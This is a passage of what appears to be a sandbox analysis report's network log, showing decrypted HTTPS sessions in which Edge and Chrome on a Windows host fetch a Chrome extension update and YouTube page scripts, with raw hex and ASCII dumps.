2024-01-17 23:34:43 UTC	732	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-6anhIOuGvkEC1QHBoZXNNw' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:34:43 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 6225 X-Daystart: 56083 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:34:43 UTC	520	IN	Data Raw: 33 30 61 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 36 32 32 35 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 35 36 30 38 33 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 67 68 62 6d 6e 6e 6a 6f 6f 65 6b 70 6d 6f 65 63 6e 6e 6e 69 6c 6e 6e 62 64 6c 6f 6c 68 6b 68 69 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 30a<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="6225" elapsed_seconds="56083"/><app appid="ghbmnnjooekpmoecnnnilnnbdlolhkhi" cohort="1::" cohortname=""
2024-01-17 23:34:43 UTC	265	IN	Data Raw: 4f 45 4b 50 4d 4f 45 43 4e 4e 4e 49 4c 4e 4e 42 44 4c 4f 4c 48 4b 48 49 5f 31 5f 37 33 5f 30 5f 30 2e 63 72 78 22 20 66 70 3d 22 31 2e 37 30 63 65 35 35 63 36 39 31 32 37 36 33 35 62 63 62 35 37 39 65 31 38 37 38 63 34 63 37 34 66 37 37 30 37 62 64 37 30 38 63 64 35 37 32 37 33 65 38 62 34 38 39 31 34 35 39 61 36 61 30 65 66 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 37 30 63 65 35 35 63 36 39 31 32 37 36 33 35 62 63 62 35 37 39 65 31 38 37 38 63 34 63 37 34 66 37 37 30 37 62 64 37 30 38 63 64 35 37 32 37 33 65 38 62 34 38 39 31 34 35 39 61 36 61 30 65 66 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 39 31 36 37 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 37 33 2e 30 22 2f 3e 3c 2f 61 70 70 3e 3c 2f Data Ascii: OEKPMOECNNNILNNBDLOLHKHI_1_73_0_0.crx" fp="1.70ce55c69127635bcb579e1878c4c74f7707bd708cd57273e8b4891459a6a0ef" hash_sha256="70ce55c69127635bcb579e1878c4c74f7707bd708cd57273e8b4891459a6a0ef" protected="0" size="91671" status="ok" version="1.73.0"/></app></
2024-01-17 23:34:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49741	142.250.65.214	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:43 UTC	552	OUT	GET /generate_204 HTTP/1.1 Host: i.ytimg.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:34:44 UTC	203	IN	HTTP/1.1 204 No Content Content-Length: 0 Cross-Origin-Resource-Policy: cross-origin Date: Wed, 17 Jan 2024 23:34:44 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49747	142.250.72.97	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:44 UTC	580	OUT	GET /crx/blobs/AeKPYwzuPHdG7KXik3HHcL6a-Kv5-SV7bEMYguq8BAeQOhsYur09l08rkkrr-edY1Bt1nCKffdNkY-OZrUTKLWF5ESV93vCk6AcDyeyIE9UUl8AQVch1AMZSmuV-bagaPLO2mX-Kra1bZfrs-ijM4A/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_73_0_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:34:44 UTC	572	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ABPtcPoTXKZ0Q2E9g9T1xgtH17-Tut7QZTPNvQufx1OS4qQTAa5zB0_YgfGMyybw5sg_eW1tEorWU8be4g Accept-Ranges: bytes Content-Length: 91671 X-Goog-Hash: crc32c=UiUPLw== Server: UploadServer Date: Wed, 17 Jan 2024 16:01:44 GMT Expires: Thu, 16 Jan 2025 16:01:44 GMT Cache-Control: public, max-age=31536000 Age: 27180 Last-Modified: Mon, 08 Jan 2024 16:01:35 GMT ETag: 80376878_305ed09b_55aef180_0cf8422a_0e8d83ee Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:44 UTC	680	IN	Data Raw: 43 72 32 34 03 00 00 00 65 22 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr24e"0"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 9e 79 ec 47 f2 e9 21 73 28 f1 0f ed e0 a2 ef fd 85 93 46 61 75 6c 9c aa 7f 02 20 15 47 a7 1d 47 5a dd f9 20 3c 74 53 fc e2 a8 32 38 2f 32 32 64 6c 4f 02 56 98 a5 91 26 b2 1f cf 22 f5 3e 1f 8b 08 00 00 00 00 00 00 ff bd 7c 5d 73 ab 3c 7b f5 5f e9 dc c7 ed 0c 02 e3 1d f7 6c 13 10 98 58 22 08 7d 80 3a 9d 7b 00 91 8d 41 60 12 93 18 d3 79 fe 7b 95 fb 79 a6 9d 76 ba 3d f6 c1 fb 9e 64 c7 d9 7c 2d 5d 1f 6b 2d 09 f9 df fe e3 0f d5 9c eb 8f e3 34 1f 4f e3 1f ff fa c7 fc d1 34 6d 79 6e ff 69 6a 3e fe e9 ed a8 9b 3f fe f9 8f f3 f1 d7 d8 a8 3f eb d3 38 37 e3 fc c7 bf fe c7 1f 53 79 d5 a7 52 99 e3 9b 6b dc 55 b6 6b 49 e1 5a b9 dd b6 b5 dd ea fa ba df 0a e7 7c 2c 86 e5 ab b0 e7 b7 da d6 5b 99 ed b7 d8 ff e9 e2 e3 e5 28 43 3d ca 1c 5b fb ee 74 34 c7 b7 a8 63 f6 fe fb ef Data Ascii: yG!s(Faul GGZ <tS28/22dlOV&">\|]s<{_lX"}:{A`y{yv=d\|-]k-4O4mynij>??87SyRkUkIZ\|,[(C=[t4c
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: fa 0d 20 96 db 99 67 8a ab 1e bf b1 40 77 15 df 51 19 f0 5e 46 6a 65 00 7a 62 fc b9 29 1f c0 87 06 37 ac 03 62 71 8e 4d 17 f1 5e a9 05 56 0a 77 a5 b4 16 68 38 e7 3d b5 dc e7 82 6a 28 d8 2e a1 be 84 8c a1 2b 0d f0 5b f2 fc 5b 7c fd bd f9 59 05 d6 6a 72 5d 2a 07 e7 b5 86 c8 70 7d 4f 99 5b d6 61 0d 14 2d ec 5a f4 0b 73 60 ce 6c 1c 2b 4d 16 1e c4 40 f4 ae fd 08 ff 29 6b be 66 4c 27 7c 0c ac 84 4f 9f 0d 55 73 c5 c9 c4 f3 78 2f c2 d8 31 6c 1e 93 30 70 33 21 01 67 93 8f 98 e1 3f 1b 3c cb df f7 97 fe 5e 7e c8 72 7e 48 6d fd 86 3a f5 49 20 7c 95 0c b6 99 c6 20 ed f9 21 11 71 5c ae 3f 67 62 74 46 15 ce 07 de a9 16 51 fe c6 6c 42 1f e9 2f b2 33 31 fb 2b 47 60 97 41 1d 1a 9d 17 99 eb 6f b0 0d 5f f1 70 da 70 cd cf 34 f2 fa d2 f9 69 0b 9f 9c 6a 3b 5d d4 aa d9 8d f8 e9 Data Ascii: g@wQ^Fjezb)7bqM^Vwh8=j(.+[[\|Yjr]*p}O[a-Zs`l+M@)kfL'\|OUsx/1l0p3!g?<^~r~Hm:I \| !q\?gbtFQlB/31+G`Ao_pp4ij;]
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: f9 7a 18 be fb db e6 fb f8 6b 65 ef fe 31 f7 fa 57 6f 22 c5 ca 17 99 b7 23 d2 c4 c6 96 e5 30 0e 4b 15 e0 b0 f2 61 5a 46 98 20 1d 38 6a 68 9f 49 00 39 62 31 a9 cd f8 13 4b 7d ed 47 eb fc 3d 9f 5b 08 f7 ab 1a f4 77 7f 7b fb 6b 1c f5 ee 7f df e3 22 7c 25 ff ea 91 9d 24 f5 e8 9d 2a 6b a7 59 17 87 d2 f1 b8 c9 7d 2b d5 d2 96 56 fc da 64 e0 15 f3 f6 b3 5c bd 0f 62 cd f1 5f 7d 3f 84 d6 5f e3 a4 77 e7 ca 36 e3 18 1a 3c b6 bc de 89 af 6c 82 a7 6b 45 63 57 0a 85 d2 0c f8 b5 0f 0f 52 c7 79 3a 5c 1c 12 fc 72 b2 1c 86 2c 50 2c cd 63 c7 e4 c3 b3 19 0f 8e a8 e7 3c 80 2f 30 be e4 ca 99 7a 95 c0 eb 54 1f 07 45 a7 42 ae db b7 2a f2 8e 09 fd e9 1a de df 36 5c 3f a3 c0 f4 51 86 66 e5 4c 41 0d bc f1 16 be dc c2 de 9d 18 af 38 d4 5d 16 72 4b 0d f3 47 c9 d5 de d4 08 32 1e ee 19 Data Ascii: zke1Wo"#0KaZF 8jhI9b1K}G=[w{k"\|%$kY}+Vd\b_}?_w6<lkEcWRy:\r,P,c</0zTEB6\?QfLA8]rKG2
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: a5 5a 2d d5 c0 4d 2d 9c 6c 62 cf 84 01 de a6 da 70 0a 24 0f c4 6f bf c9 84 12 25 e3 a7 2c 57 5b c4 c0 20 2d 45 58 0f a3 ca e8 6d 31 92 8c 53 e2 24 21 08 70 de 5e 1a bd df 30 3b e6 bc 87 eb ef f1 cd f7 e2 c3 99 00 48 75 30 4a 28 94 68 9c ce b9 e1 5b 12 29 29 99 75 a1 02 be 1a 8d d6 19 3d 3b 19 7f 56 c8 11 b9 68 44 a0 1a b5 7c 20 7e 16 77 8c f7 08 71 8e c3 e9 9d 0c 1c 16 b6 de 53 d0 9e d4 88 9c 32 df cf 3c e4 a0 ee 02 53 ff 72 e6 86 0b f1 8a 1c 25 da af 1b f8 3e ee c4 27 32 8a a3 86 d7 56 13 ee f2 66 98 84 a9 7b 61 ea 64 6c 46 1c 63 e7 34 e3 41 bf d1 bc a5 8c 81 23 b3 c1 49 68 a5 a9 23 1f e1 87 4d a3 09 16 14 53 b2 b6 2b 8a da 77 2c 60 57 db 1b 97 32 ee a1 60 72 08 d3 59 1d 71 8b 83 bd 23 fd c0 f8 cf 5d 81 47 7e c3 23 cd f3 9d f8 2e 65 a0 d2 d4 ae 57 d3 c3 Data Ascii: Z-M-lbp$o%,W[ -EXm1S$!p^0;Hu0J(h[))u=;VhD\| ~wqS2<Sr%>'2Vf{adlFc4A#Ih#MS+w,`W2`rYq#]G~#.eW
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 64 55 c2 4d d8 30 f7 92 1b f6 e8 82 b9 0a e7 56 02 39 32 a0 65 d5 e9 13 1a ac 07 f8 2f de 66 03 e8 1a 18 58 35 8f 5b 1e e2 be a0 10 a2 11 9e 33 86 8d f7 34 ae de a9 2f f5 f0 34 37 63 0c 54 08 b7 c4 e7 04 db bb 1b f3 bb ee 9d fd 73 6f 8b bc ed 72 5b 1b 47 66 99 fb 93 f7 aa 3f 19 85 64 b2 26 b8 2c a6 cf 1c 2a e8 19 cf 16 17 b9 c5 5f 4b a1 df 10 c7 07 05 a6 07 fa cb 7e 39 b0 e2 92 e6 7b f7 fb 1d d7 d2 c7 5a fa 6d 56 31 b7 45 fd 04 2a 18 1f 2a 06 f7 34 92 03 77 08 34 5e 5f 64 dc db a6 03 bc 85 ef 5e fd b2 1e f2 69 92 7c 22 d8 9a 71 a9 b5 90 b9 8e 4c 2e 6e ab e0 c9 3d d0 f8 a2 8c 17 21 50 71 c4 f0 de 78 43 d3 87 c8 20 61 fc 08 be b9 70 d4 92 51 c3 af 96 a6 3c c7 67 39 b8 4b d6 4f 4e dd 19 7e a2 8a 25 02 7f d4 0e 19 30 d3 4b 99 43 ab 0a 6b 9b 68 f8 fb f9 5d c7 Data Ascii: dUM0V92e/fX5[34/47cTsor[Gf?d&,_K~9{ZmV1E*4w4^_d^i\|"qL.n=!PqxC apQ<g9KON~%0KCkh]
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: b4 b5 9a 80 77 37 f0 dd bb ce 82 88 43 4c 4e e0 03 e7 5e 47 82 f9 a3 66 c0 91 81 1b 55 2c de 72 41 5e 93 b0 00 32 7c b2 04 8c 4f d2 60 4b 7b f5 8e 9c 9f 8f f8 88 d1 e8 57 b7 a0 6d d8 84 3b 81 22 fe 96 8e d0 f4 6d d7 2e f8 ee 53 06 f5 05 85 c4 ca c0 34 51 1b 97 8a b7 2f 64 95 d8 3c d3 ef e7 b1 1d 72 af 0e 4d cd f3 2f 45 b7 5f 14 e4 bc 36 63 9a 41 fe 52 af cc 2d 07 95 36 3e 39 9a be 83 eb 60 99 c9 e0 ba 69 cf 8d 23 df 01 c9 e5 43 fc 40 8c 47 39 b0 5d c9 23 38 cb 50 cd 19 94 cf 07 be 5b 79 44 3a 3e 92 2d 0d e7 53 b1 e2 43 b1 b6 39 b1 2e 4e a1 db a5 5c d3 1b fd 85 dc eb 03 3f 4c 4d 1d 4a 31 5f e8 58 5c 8c 87 09 52 8d 4f 42 c8 6b cd 61 84 57 7e 21 fd d3 2a 7c cf 45 8e c7 94 6d f4 40 08 bf 4a 38 3d 30 8f 1d 8f 09 45 0e 71 bc 4c 31 a5 1b 36 bf 94 03 04 55 34 15 Data Ascii: w7CLN^GfU,rA^2\|O`K{Wm;"m.S4Q/d<rM/E_6cAR-6>9`i#C@G9]#8P[yD:>-SC9.N\?LMJ1_X\ROBkaW~!*\|Em@J8=0EqL16U4
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 1b ce e3 f0 c0 e5 c4 b9 8a 8d 86 d2 86 d7 a5 84 18 e3 67 0b 94 5d 7f ad 7d 0c 19 73 63 e3 2f 8c 1e 7d b2 b8 21 32 14 04 7f c7 f3 df 7b 88 2e df fb a1 72 db c4 6d e0 7d ee e0 ae 1e f4 45 fd 6e 1c fb 18 a4 d6 8e 94 7e b1 9a 7c 01 98 ab be 60 bb 97 84 1b fd 08 b8 19 9b 98 50 36 05 42 b7 69 dd d7 1b a5 77 45 66 bb 27 34 9c 8f 6f dc 3a ef 07 f9 65 fc 4d ab fe be ff e2 2a 05 ff 7b 6e 98 5c f9 eb 1e 70 77 fc de d3 54 82 dd 5a e6 93 36 e3 61 21 bf b7 ff 7e ae b6 a4 00 6f a5 48 ff d2 93 65 18 cf d5 e0 be 9b fc d6 a5 e3 cd 95 cd 3b f3 d9 8c dd f2 59 0d 71 6f ae 73 2e 8d 66 2e bf f7 bd fd e3 5c 35 f0 6b 6d eb ef 31 35 63 18 7c e2 15 7d a2 bf ef a9 ba 1a 9c 5f 85 bd 3b e7 8e 19 fb 11 4f df f5 93 74 70 f7 8f af 9e 29 e7 cf 8f e6 fc c7 bf fe db 7f fc d1 36 a5 6a 3e be Data Ascii: g]}sc/}!2{.rm}En~\|`P6BiwEf'4o:eM*{n\pwTZ6a!~oHe;Yqos.f.\5km15c\|}_;Otp)6j>
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 7d 47 f5 fe e4 ca 96 ea 05 54 46 b2 6c 6d 18 db b0 1f 5b 46 fc 50 f0 03 6f 99 06 0e 95 bc 5f f1 ff 2d ec 0b 50 32 81 da 2a fa de f7 cf 2d 45 53 c8 7a d6 f1 7b c3 ff 05 29 e7 b5 06 6b 0d 23 85 d7 5b 41 2a e6 67 e5 b5 4d a6 7d dd d1 98 56 51 90 85 9d e2 d0 8c 78 df 6e 21 77 c4 4e 35 23 31 8b a6 b2 78 9e 8a 08 7e 34 9e 64 62 4a 77 c4 a2 08 3d 45 40 39 26 89 e9 11 24 59 40 11 84 f8 0d 80 0a ef 26 8b 26 3b 6b a7 84 35 b0 9d e0 7d 9b c7 67 00 6a ac 91 07 58 83 db 14 ea 86 61 ee 80 65 39 99 7b c6 d1 dc 5a 4f 81 8a 3c 75 29 6a 60 e6 51 0d dc 28 1f f9 7a b9 39 a8 bb d1 1b a9 27 a2 47 d5 93 07 61 34 a8 9b 47 f5 6b cd 5a ec bc be a8 20 9c 4d 20 44 4f 4a 04 32 b1 40 d4 52 c7 42 08 40 bc 2d 11 15 31 76 c0 41 b9 a0 fe 3c f0 ea b0 5f 02 c5 dc 8a 69 cc 6b 85 4c 6a 05 68 Data Ascii: }GTFlm[FPo_-P2-ESz{)k#[AgM}VQxn!wN5#1x~4dbJw=E@9&$Y@&&;k5}gjXae9{ZO<u)j`Q(z9'Ga4GkZ M DOJ2@RB@-1vA<_ikLjh
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 46 89 86 44 72 34 37 eb 3e 9d 8c 65 86 db 02 f4 68 f4 6a a8 51 9f 36 94 dd 81 9a be ea 94 4d 3d b0 e6 a4 de 02 74 94 df 9e 9b 29 e8 1a da c0 d0 58 5c e8 5d f1 33 3e 26 da da ff 34 36 38 01 0d 6a ff 07 3b 30 94 fd 24 45 15 ec 68 5f e5 87 d9 de ee a2 eb 09 9e 30 49 17 d2 01 e5 b2 9d 16 a3 43 86 ae 58 0e 3d 3a 86 58 e2 3d f9 a8 d6 68 9f f1 c7 25 36 4f f4 3e 91 d9 93 0b 1e d7 d6 64 fe 08 c9 d6 d7 bc 63 3f 11 0b ae 0c e9 7f 65 cd cd e6 cb d1 2b 50 4b 07 08 61 1d 6a 6f 9e 01 00 00 a2 03 00 00 50 4b 03 04 14 00 08 08 08 00 57 39 22 58 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 5f 6c 6f 63 61 6c 65 73 2f 63 61 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 8d 92 41 6f db 30 0c 85 ef fb 15 84 2f b9 b8 45 80 1e 86 f6 36 ac 41 b1 c3 b2 a1 58 6f bb 30 32 ed 12 90 45 Data Ascii: FDr47>ehjQ6M=t)X\]3>&468j;0$Eh_0ICX=:X=h%6O>dc?e+PKajoPKW9"X_locales/ca/messages.jsonAo0/E6AXo02E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49750	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:44 UTC	1146	OUT	GET /s/desktop/80338919/jsbin/desktop_polymer.vflset/desktop_polymer.js HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D
2024-01-17 23:34:44 UTC	689	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 8396344 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:09 GMT Expires: Thu, 16 Jan 2025 15:32:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/javascript Vary: Accept-Encoding, Origin Age: 28955 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:44 UTC	563	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 2f 2a 20 48 54 4d 4c 20 63 6f 6e 74 65 6e 74 20 69 6e 6c 69 6e 65 64 20 66 72 6f 6d 20 48 54 4d 4c 20 69 6d 70 6f 72 74 20 2a 2f 0a 63 6f 6e 73 74 20 64 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 0a 64 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 6e 6c 69 6e 65 64 2d 68 74 6d 6c 22 2c 22 22 29 3b 0a 63 6f 6e 73 74 20 66 69 6e 61 6c 53 74 79 6c 65 54 65 78 74 3d 22 68 74 6d 6c 3a 6e 6f 74 28 2e 73 74 79 6c 65 2d 73 63 6f 70 65 29 20 7b 5c 6e 20 20 2d 2d 70 72 69 6d 61 72 79 2d 74 65 78 74 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 6c 69 67 68 74 2d 74 68 65 6d 65 2d 74 65 78 74 2d 63 6f 6c 6f 72 29 3b 5c 6e 20 20 2d 2d 70 72 69 6d 61 72 79 2d 62 61 63 6b 67 72 6f 75 Data Ascii: (function(){/* HTML content inlined from HTML import */const d=document.createElement("div");d.setAttribute("inlined-html","");const finalStyleText="html:not(.style-scope) {\n --primary-text-color: var(--light-theme-text-color);\n --primary-backgrou
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 63 35 63 61 65 39 3b 5c 6e 20 20 2d 2d 64 61 72 6b 2d 70 72 69 6d 61 72 79 2d 63 6f 6c 6f 72 3a 20 23 33 30 33 66 39 66 3b 5c 6e 20 20 2d 2d 61 63 63 65 6e 74 2d 63 6f 6c 6f 72 3a 20 23 66 66 34 30 38 31 3b 5c 6e 20 20 2d 2d 6c 69 67 68 74 2d 61 63 63 65 6e 74 2d 63 6f 6c 6f 72 3a 20 23 66 66 38 30 61 62 3b 5c 6e 20 20 2d 2d 64 61 72 6b 2d 61 63 63 65 6e 74 2d 63 6f 6c 6f 72 3a 20 23 66 35 30 30 35 37 3b 5c 6e 20 20 2d 2d 6c 69 67 68 74 2d 74 68 65 6d 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 5c 6e 20 20 2d 2d 6c 69 67 68 74 2d 74 68 65 6d 65 2d 62 61 73 65 2d 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 5c 6e 20 20 2d 2d 6c 69 67 68 74 2d 74 68 65 6d 65 2d 74 65 78 74 2d 63 6f 6c 6f 72 3a 20 23 32 31 32 31 32 31 3b 5c 6e 20 20 2d Data Ascii: c5cae9;\n --dark-primary-color: #303f9f;\n --accent-color: #ff4081;\n --light-accent-color: #ff80ab;\n --dark-accent-color: #f50057;\n --light-theme-background-color: #fff;\n --light-theme-base-color: #000;\n --light-theme-text-color: #212121;\n -
2024-01-17 23:34:44 UTC	1252	IN	Data Raw: 20 20 20 20 6c 65 66 74 3a 20 30 3b 5c 6e 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 5c 6e 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 5c 6e 7d 5c 6e 5c 6e 23 62 61 63 6b 67 72 6f 75 6e 64 2e 70 61 70 65 72 2d 72 69 70 70 6c 65 2c 2e 77 61 76 65 2e 70 61 70 65 72 2d 72 69 70 70 6c 65 20 7b 5c 6e 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 5c 6e 7d 5c 6e 5c 6e 23 77 61 76 65 73 2e 70 61 70 65 72 2d 72 69 70 70 6c 65 2c 2e 77 61 76 65 2e 70 61 70 65 72 2d 72 69 70 70 6c 65 20 7b 5c 6e 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 5c 6e 7d 5c 6e 5c 6e 2e 77 61 76 65 2d 63 6f 6e 74 61 69 6e 65 72 2e 70 61 70 65 72 2d 72 69 70 70 6c 65 2c 2e 77 61 76 65 2e 70 61 70 65 72 2d 72 69 70 70 6c 65 20 7b 5c 6e 20 20 62 6f 72 Data Ascii: left: 0;\n width: 100%;\n height: 100%;\n}\n\n#background.paper-ripple,.wave.paper-ripple {\n opacity: 0;\n}\n\n#waves.paper-ripple,.wave.paper-ripple {\n overflow: hidden;\n}\n\n.wave-container.paper-ripple,.wave.paper-ripple {\n bor
